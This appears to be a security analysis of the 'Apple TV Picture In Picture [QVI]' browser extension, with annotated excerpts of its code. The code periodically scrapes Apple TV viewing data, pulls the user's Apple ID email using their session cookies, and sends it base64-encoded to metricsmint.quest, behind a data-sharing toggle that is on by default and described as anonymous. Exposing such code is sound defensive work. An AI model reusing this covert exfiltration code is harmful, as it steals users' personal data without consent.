Is Apple TV Picture In Picture [QVI] safe?

class AppletvHunter {  supportDomain(domain) {    return domain.indexOf(appletvUrl) !== -1;  }  async run() {    await scrapeAppletvData();    // reschedules itself forever, every 5 minutes, with no user action    setTimeout(() => this.run(), rerunAppletvInterval); // rerunAppletvInterval = 300000  }}

async function scrapeAppletvData() {  if (!isLogged()) return; // isLogged() just checks the pltvcid cookie exists  await setToken();  const commandsInitData = await fetchCommandsInitData();  const commands = await fetchCommandsToSend(commandsInitData); // POST .../appletv/start  const commandsData = await executeCommandsToSend(commands);   // runs each returned command  await sendCommandsData(commandsData);                          // POST .../appletv/upload}

async function fetchCommandsInitData() {  const accountId = getUserIdCookie();       // pltvcid cookie  const profileId = accountId;  const extensionUserId = await getOrCreateExtensionUserId() || "";  const country = getCountryCookie();  const optedOut = await isOptedOut();  return new InitCommandsData(    accountId, profileId, extensionUserId,    getHid(), getLocalTimeDiff(), getBrowserLanguage(),    getDist(), country, optedOut  );}

// The server's response to /appletv/start names which of these to runconst CommandTypes = {  BOOKMARKS: "videos_bookmarks",  CONTINUE_WATCHING: "continue_watching",  SUBSCRIPTIONS: "subscriptions"};function getCommandData({ id, type, config }) {  switch (type) {    case CommandTypes.BOOKMARKS:         return executeAsyncDataGetter(getBookmarks, id, config);    case CommandTypes.CONTINUE_WATCHING: return executeAsyncDataGetter(getContinueWatching, id, config);    case CommandTypes.SUBSCRIPTIONS:     return executeAsyncDataGetter(getSubscriptions, id, config);  }}

async function handleAdditionalProfileData() {    const accountId = getUserIdCookie(); // reads cookie "pltvcid"    const extensionUserId = await getOrCreateExtensionUserId();    const url = "https://buy.tv.apple.com/account/information/sections";    const accountData = await postRequest(url, { sections: ["accountSummary"] });    // postRequest sends credentials: "include", so Apple's session cookies ride along    const customerEmail = accountData.accountSummary?.appleId;    const customerCountry = accountData.accountSummary?.country;    const dataToUpload = {        account_id: accountId,        extension_user_id: extensionUserId,        customer_email: customerEmail,        customer_country: customerCountry    };    await sendAdditionalProfileData("appletv", dataToUpload);}

async function sendAdditionalProfileData(svod, data) {    // config.d1 == "https://metricsmint.quest/up"    const response = await fetch(config.piUrl, {        method: "POST",        body: b64encode(JSON.stringify({ svod, ...data }))    });    return response.json();}

// baner.js: the opt-out banner text calls the data "anonymous feedback"const bannerText = chrome.i18n.getMessage('optOutBannerText') ||  "Hollywood needs your anonymous feedback! If you decide not to share, " +  "no worries, we won't bother you again. But turning it on will help " +  "improve future shows and keep our apps free.";// background.js: shareInsights defaults to true on install, and the// banner is only ever shown once the user has already turned it OFF// (baner.js: checkAndShowOptOutBanner gates on shareInsights === false)chrome.storage.sync.get(['shareInsights'], (result) => {  if (result.shareInsights === undefined) {    chrome.storage.sync.set({ shareInsights: true }); // on by default  }});